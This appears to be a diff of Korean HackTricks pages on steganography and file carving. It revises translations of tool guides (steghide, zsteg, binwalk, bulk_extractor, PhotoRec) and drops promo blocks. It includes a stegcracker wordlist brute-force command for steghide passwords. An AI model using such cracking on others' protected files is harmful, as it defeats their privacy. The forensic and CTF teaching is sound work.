||||||
```
|
```
|
||||||
## **텍스트에서 숨겨진 데이터 추출**
|
## **텍스트에서 숨겨진 데이터 추출하기**
|
||||||
|
|
||||||
### **공백 내 숨겨진 데이터**
|
### **공간에서 숨겨진 데이터**
|
||||||
|
|
||||||
보이지 않는 문자가 있는 것으로 보이는 빈 공백에는 정보가 숨겨져 있을 수 있습니다. 이 데이터를 추출하려면 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)을 방문하십시오.
|
겉보기에는 비어 있는 공간의 보이지 않는 문자들이 정보를 숨길 수 있습니다. 이 데이터를 추출하려면 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) 를 방문하세요.
|
||||||
|
|
||||||
## **이미지에서 데이터 추출**
|
## **이미지에서 데이터 추출하기**
|
||||||
|
|
||||||
### **GraphicMagick을 사용하여 이미지 세부 정보 식별**
|
### **GraphicMagick로 이미지 세부정보 식별하기**
|
||||||
|
|
||||||
[GraphicMagick](https://imagemagick.org/script/download.php)은 이미지 파일 유형을 결정하고 잠재적인 손상을 식별하는 데 사용됩니다. 아래 명령을 실행하여 이미지를 검사하십시오:
|
[GraphicMagick](https://imagemagick.org/script/download.php)는 이미지 파일 유형을 결정하고 잠재적인 손상을 식별하는 데 사용됩니다. 이미지를 검사하려면 아래 명령을 실행하세요:
|
||||||
```bash
|
```bash
|
||||||
./magick identify -verbose stego.jpg
|
./magick identify -verbose stego.jpg
|
||||||
```
|
```
|
||||||
손상된 이미지를 복구하려면 메타데이터 주석을 추가하는 것이 도움이 될 수 있습니다:
|
손상된 이미지를 복구하려고 시도할 때, 메타데이터 주석을 추가하는 것이 도움이 될 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||||
```
|
```
|
||||||
### **데이터 은닉을 위한 Steghide**
|
### **Steghide를 통한 데이터 은닉**
|
||||||
|
|
||||||
Steghide은 `JPEG, BMP, WAV 및 AU` 파일 내에 데이터를 숨기는 것을 용이하게 해주며, 암호화된 데이터를 삽입하고 추출할 수 있습니다. 설치는 `apt`를 사용하여 간단하게 할 수 있으며, [소스 코드는 GitHub에서](https://github.com/StefanoDeVuono/steghide) 사용할 수 있습니다.
|
Steghide는 `JPEG, BMP, WAV, AU` 파일 내에 데이터를 숨기는 기능을 제공하며, 암호화된 데이터를 삽입하고 추출할 수 있습니다. 설치는 `apt`를 사용하여 간단하게 할 수 있으며, [소스 코드는 GitHub에서 확인할 수 있습니다](https://github.com/StefanoDeVuono/steghide).
|
||||||
|
|
||||||
**명령어:**
|
**명령어:**
|
||||||
|
|
||||||
* `steghide info file`는 파일에 숨겨진 데이터가 있는지 확인합니다.
|
* `steghide info file`은 파일에 숨겨진 데이터가 있는지 확인합니다.
|
||||||
* `steghide extract -sf file [--passphrase password]`는 숨겨진 데이터를 추출하며, 비밀번호는 선택 사항입니다.
|
* `steghide extract -sf file [--passphrase password]`는 숨겨진 데이터를 추출하며, 비밀번호는 선택 사항입니다.
|
||||||
|
|
||||||
웹 기반 추출을 위해서는 [이 웹사이트](https://futureboy.us/stegano/decinput.html)를 방문하십시오.
|
웹 기반 추출을 원하시면 [이 웹사이트](https://futureboy.us/stegano/decinput.html)를 방문하세요.
|
||||||
|
|
||||||
**Stegcracker를 사용한 브루트포스 공격:**
|
**Stegcracker를 이용한 무차별 대입 공격:**
|
||||||
|
|
||||||
* Steghide에서 비밀번호 크래킹을 시도하려면 다음과 같이 [stegcracker](https://github.com/Paradoxis/StegCracker.git)를 사용하십시오:
|
* Steghide의 비밀번호 크래킹을 시도하려면 [stegcracker](https://github.com/Paradoxis/StegCracker.git)를 다음과 같이 사용하세요:
|
||||||
```bash
|
```bash
|
||||||
stegcracker <file> [<wordlist>]
|
stegcracker <file> [<wordlist>]
|
||||||
```
|
```
|
||||||
### **PNG 및 BMP 파일용 zsteg**
|
### **zsteg for PNG and BMP Files**
|
||||||
|
|
||||||
zsteg은 PNG 및 BMP 파일에서 숨겨진 데이터를 발견하는 데 특화되어 있습니다. 설치는 `gem install zsteg`를 통해 수행되며, [GitHub에서 소스를 확인할 수 있습니다](https://github.com/zed-0xff/zsteg).
|
zsteg는 PNG 및 BMP 파일에서 숨겨진 데이터를 발견하는 데 특화되어 있습니다. 설치는 `gem install zsteg`를 통해 이루어지며, [GitHub에서 소스](https://github.com/zed-0xff/zsteg)를 확인할 수 있습니다.
|
||||||
|
|
||||||
**명령어:**
|
**Commands:**
|
||||||
|
|
||||||
* `zsteg -a 파일`은 파일에 모든 탐지 방법을 적용합니다.
|
* `zsteg -a file`는 파일에 모든 탐지 방법을 적용합니다.
|
||||||
* `zsteg -E 파일`은 데이터 추출을 위한 페이로드를 지정합니다.
|
* `zsteg -E file`는 데이터 추출을 위한 페이로드를 지정합니다.
|
||||||
|
|
||||||
### **StegoVeritas 및 Stegsolve**
|
### **StegoVeritas and Stegsolve**
|
||||||
|
|
||||||
**stegoVeritas**는 메타데이터를 확인하고 이미지 변환을 수행하며, 다른 기능 중에 LSB 브루트 포싱을 적용합니다. 모든 옵션을 확인하려면 `stegoveritas.py -h`를 사용하고, 모든 확인을 실행하려면 `stegoveritas.py stego.jpg`를 사용하세요.
|
**stegoVeritas**는 메타데이터를 확인하고, 이미지 변환을 수행하며, LSB 무차별 대입 공격을 적용하는 등 다양한 기능을 제공합니다. 전체 옵션 목록은 `stegoveritas.py -h`를 사용하고, 모든 검사를 실행하려면 `stegoveritas.py stego.jpg`를 사용하세요.
|
||||||
|
|
||||||
**Stegsolve**는 다양한 색상 필터를 적용하여 이미지 내에 숨겨진 텍스트나 메시지를 드러내는 데 사용됩니다. [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)에서 사용할 수 있습니다.
|
**Stegsolve**는 다양한 색상 필터를 적용하여 이미지 내 숨겨진 텍스트나 메시지를 드러냅니다. [GitHub에서](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) 사용할 수 있습니다.
|
||||||
|
|
||||||
### **숨겨진 콘텐츠 탐지를 위한 FFT**
|
### **FFT for Hidden Content Detection**
|
||||||
|
|
||||||
고속 푸리에 변환 (FFT) 기술을 사용하면 이미지 내에 숨겨진 콘텐츠를 발견할 수 있습니다. 유용한 자료는 다음과 같습니다:
|
Fast Fourier Transform (FFT) 기술은 이미지에서 숨겨진 콘텐츠를 드러낼 수 있습니다. 유용한 리소스는 다음과 같습니다:
|
||||||
|
|
||||||
* [EPFL 데모](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||||
* [GitHub의 FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||||
|
|
||||||
### **오디오 및 이미지 파일용 Stegpy**
|
### **Stegpy for Audio and Image Files**
|
||||||
|
|
||||||
Stegpy를 사용하면 PNG, BMP, GIF, WebP, WAV와 같은 형식을 지원하는 이미지 및 오디오 파일에 정보를 삽입할 수 있습니다. [GitHub](https://github.com/dhsdshdhk/stegpy)에서 사용할 수 있습니다.
|
Stegpy는 PNG, BMP, GIF, WebP 및 WAV와 같은 형식을 지원하여 이미지 및 오디오 파일에 정보를 삽입할 수 있습니다. [GitHub에서](https://github.com/dhsdshdhk/stegpy) 사용할 수 있습니다.
|
||||||
|
|
||||||
### **PNG 파일 분석을 위한 Pngcheck**
|
### **Pngcheck for PNG File Analysis**
|
||||||
|
|
||||||
PNG 파일을 분석하거나 그 신뢰성을 검증하려면 사용하세요:
|
PNG 파일을 분석하거나 그 진위를 확인하려면:
|
||||||
```bash
|
```bash
|
||||||
apt-get install pngcheck
|
apt-get install pngcheck
|
||||||
pngcheck stego.png
|
pngcheck stego.png
|
||||||
```
|
```
|
||||||
### **이미지 분석을 위한 추가 도구**
|
### **이미지 분석을 위한 추가 도구**
|
||||||
|
|
||||||
더 깊이 탐구하기 위해 다음을 방문해보세요:
|
더 많은 탐색을 원하시면 다음을 방문해 보세요:
|
||||||
|
|
||||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||||
|
@ -156,77 +148,73 @@ pngcheck stego.png
|
||||||
|
|
||||||
## **오디오에서 데이터 추출하기**
|
## **오디오에서 데이터 추출하기**
|
||||||
|
|
||||||
**오디오 스테가노그래피**는 소리 파일 내에 정보를 숨기는 독특한 방법을 제공합니다. 다양한 도구가 잠재된 콘텐츠를 삽입하거나 검색하는 데 사용됩니다.
|
**오디오 스테가노그래피**는 사운드 파일 내에 정보를 숨기는 독특한 방법을 제공합니다. 숨겨진 콘텐츠를 삽입하거나 검색하기 위해 다양한 도구가 사용됩니다.
|
||||||
|
|
||||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||||
|
|
||||||
Steghide는 JPEG, BMP, WAV 및 AU 파일에 데이터를 숨기기 위해 설계된 다재다능한 도구입니다. 자세한 지침은 [stego tricks 문서](stego-tricks.md#steghide)를 참조하세요.
|
Steghide는 JPEG, BMP, WAV 및 AU 파일에 데이터를 숨기기 위해 설계된 다목적 도구입니다. 자세한 지침은 [stego tricks documentation](stego-tricks.md#steghide)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||||
|
|
||||||
이 도구는 PNG, BMP, GIF, WebP 및 WAV와 같은 다양한 형식과 호환됩니다. 자세한 내용은 [Stegpy 섹션](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)을 참조하세요.
|
이 도구는 PNG, BMP, GIF, WebP 및 WAV를 포함한 다양한 형식과 호환됩니다. 더 많은 정보는 [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)을 참조하세요.
|
||||||
|
|
||||||
### **ffmpeg**
|
### **ffmpeg**
|
||||||
|
|
||||||
ffmpeg는 오디오 파일의 무결성을 평가하고 상세 정보를 강조하며 어떠한 불일치도 파악하는 데 중요합니다.
|
ffmpeg는 오디오 파일의 무결성을 평가하는 데 중요하며, 자세한 정보를 강조하고 불일치를 정확히 지적합니다.
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -v info -i stego.mp3 -f null -
|
ffmpeg -v info -i stego.mp3 -f null -
|
||||||
```
|
```
|
||||||
### **WavSteg (WAV)**
|
### **WavSteg (WAV)**
|
||||||
|
|
||||||
WavSteg은 최소 유의 비트 전략을 사용하여 WAV 파일 내에 데이터를 숨기고 추출하는 데 뛰어납니다. [GitHub](https://github.com/ragibson/Steganography#WavSteg)에서 사용할 수 있습니다. 명령어는 다음과 같습니다:
|
WavSteg는 가장 낮은 유의 비트 전략을 사용하여 WAV 파일 내에서 데이터를 숨기고 추출하는 데 뛰어납니다. [GitHub](https://github.com/ragibson/Steganography#WavSteg)에서 접근할 수 있습니다. 명령어는 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||||
|
|
||||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||||
```
|
```
|
||||||
### **디프사운드**
|
### **Deepsound**
|
||||||
|
|
||||||
디프사운드는 AES-256을 사용하여 소리 파일 내의 정보를 암호화하고 감지할 수 있습니다. [공식 페이지](http://jpinsoft.net/deepsound/download.aspx)에서 다운로드할 수 있습니다.
|
Deepsound는 AES-256을 사용하여 사운드 파일 내의 정보를 암호화하고 감지할 수 있습니다. [공식 페이지](http://jpinsoft.net/deepsound/download.aspx)에서 다운로드할 수 있습니다.
|
||||||
|
|
||||||
### **소닉 비주얼라이저**
|
### **Sonic Visualizer**
|
||||||
|
|
||||||
오디오 파일의 시각적 및 분석적 검사에 귀중한 도구인 소닉 비주얼라이저는 다른 수단으로는 감지할 수 없는 숨겨진 요소를 드러낼 수 있습니다. 더 많은 정보는 [공식 웹사이트](https://www.sonicvisualiser.org/)에서 확인할 수 있습니다.
|
Sonic Visualizer는 오디오 파일의 시각적 및 분석적 검사를 위한 귀중한 도구로, 다른 방법으로는 감지할 수 없는 숨겨진 요소를 드러낼 수 있습니다. 더 많은 정보는 [공식 웹사이트](https://www.sonicvisualiser.org/)를 방문하세요.
|
||||||
|
|
||||||
### **DTMF 톤 - 다이얼 톤**
|
### **DTMF Tones - Dial Tones**
|
||||||
|
|
||||||
오디오 파일에서 DTMF 톤을 감지하는 것은 [이 DTMF 탐지기](https://unframework.github.io/dtmf-detect/)와 [DialABC](http://dialabc.com/sound/detect/index.html)와 같은 온라인 도구를 통해 달성할 수 있습니다.
|
오디오 파일에서 DTMF 톤을 감지하는 것은 [이 DTMF 감지기](https://unframework.github.io/dtmf-detect/)와 [DialABC](http://dialabc.com/sound/detect/index.html)와 같은 온라인 도구를 통해 가능합니다.
|
||||||
|
|
||||||
## **기타 기술**
|
## **Other Techniques**
|
||||||
|
|
||||||
### **이진 길이 제곱근 - QR 코드**
|
### **Binary Length SQRT - QR Code**
|
||||||
|
|
||||||
정수로 제곱되는 이진 데이터는 QR 코드를 나타낼 수 있습니다. 다음 스니펫을 사용하여 확인하세요:
|
정수로 제곱되는 이진 데이터는 QR 코드를 나타낼 수 있습니다. 확인하려면 이 코드를 사용하세요:
|
||||||
```python
|
```python
|
||||||
import math
|
import math
|
||||||
math.sqrt(2500) #50
|
math.sqrt(2500) #50
|
||||||
```
|
```
|
||||||
|
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||||
|
|
||||||
### **점자 번역**
|
### **점자 번역**
|
||||||
|
|
||||||
점자 번역을 위해서는 [Branah Braille](https://www.branah.com/braille-translator)가 훌륭한 자원입니다.
|
점자를 번역하기 위해 [Branah Braille Translator](https://www.branah.com/braille-translator)는 훌륭한 자원입니다.
|
||||||
|
|
||||||
## **참고 자료**
|
## **참고문헌**
|
||||||
|
|
||||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포pos에 PR을 제출하여 해킹 요령을 공유하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Carving & Recovery tools
|
## Carving & Recovery tools
|
||||||
|
|
||||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||||
|
@ -59,19 +51,19 @@ scalpel file.img -o output
|
||||||
```
|
```
|
||||||
### Bulk Extractor
|
### Bulk Extractor
|
||||||
|
|
||||||
이 도구는 칼리 안에 포함되어 있지만, 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||||
|
|
||||||
이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
|
이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 기타 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
모든 정보를 탐색하세요 (비밀번호?), 패킷을 분석하세요 (읽기: [**Pcaps 분석**](../pcap-inspection/)), 이상한 도메인을 검색하세요 (악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
|
모든 정보를 탐색하세요 **도구가 수집한** (비밀번호?), **패킷을 분석**하세요 (읽기 [**Pcaps 분석**](../pcap-inspection/)), **이상한 도메인**을 검색하세요 ( **악성코드** 또는 **존재하지 않는** 도메인과 관련된).
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다.
|
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다.
|
||||||
|
|
||||||
GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
|
GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (524).png>)
|
![](<../../../.gitbook/assets/image (524).png>)
|
||||||
|
|
||||||
|
@ -85,12 +77,12 @@ GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**
|
||||||
* 다양한 초점에 대한 여러 플롯
|
* 다양한 초점에 대한 여러 플롯
|
||||||
* 샘플의 일부에 집중
|
* 샘플의 일부에 집중
|
||||||
* PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
|
* PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
|
||||||
* 파일에 대한 암호 분석 패턴 얻기
|
* 파일에 대한 암호 분석을 위한 **패턴** 얻기
|
||||||
* 패커 또는 인코더 알고리즘 **발견**
|
* **패커** 또는 인코더 알고리즘 **찾기**
|
||||||
* 패턴으로 스테가노그래피 **식별**
|
* 패턴으로 스테가노그래피 **식별**
|
||||||
* **시각적** 바이너리 차이 비교
|
* **시각적** 바이너리 차이 비교
|
||||||
|
|
||||||
BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해지기 위한 훌륭한 출발점**입니다.
|
BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해지기 위한 훌륭한 시작점**입니다.
|
||||||
|
|
||||||
## 특정 데이터 카빙 도구
|
## 특정 데이터 카빙 도구
|
||||||
|
|
||||||
|
@ -105,22 +97,16 @@ BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해
|
||||||
[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
|
[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
|
||||||
리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
|
리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하세요!
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Carving & Recovery tools
|
## Carving & Recovery tools
|
||||||
|
|
||||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
더 많은 도구는 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)에서 확인하세요.
|
||||||
|
|
||||||
### Autopsy
|
### Autopsy
|
||||||
|
|
||||||
포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
|
파일을 이미지에서 추출하는 데 가장 일반적으로 사용되는 포렌식 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
|
||||||
|
|
||||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
|
@ -61,7 +53,7 @@ scalpel file.img -o output
|
||||||
|
|
||||||
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||||
|
|
||||||
이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 기타 **파일**을 추출합니다. 당신이 해야 할 일은:
|
이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
|
@ -69,7 +61,7 @@ bulk_extractor memory.img -o out_folder
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
[여기](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다.
|
[여기서 찾을 수 있습니다](https://www.cgsecurity.org/wiki/TestDisk\_Download).
|
||||||
|
|
||||||
GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
|
GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
|
||||||
|
|
||||||
|
@ -86,7 +78,7 @@ GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**
|
||||||
* 샘플의 일부에 집중
|
* 샘플의 일부에 집중
|
||||||
* PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
|
* PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
|
||||||
* 파일에 대한 암호 분석을 위한 **패턴** 얻기
|
* 파일에 대한 암호 분석을 위한 **패턴** 얻기
|
||||||
* 패커 또는 인코더 알고리즘 **찾기**
|
* 패커 또는 인코더 알고리즘 **발견**
|
||||||
* 패턴으로 스테가노그래피 **식별**
|
* 패턴으로 스테가노그래피 **식별**
|
||||||
* **시각적** 바이너리 차이 비교
|
* **시각적** 바이너리 차이 비교
|
||||||
|
|
||||||
|
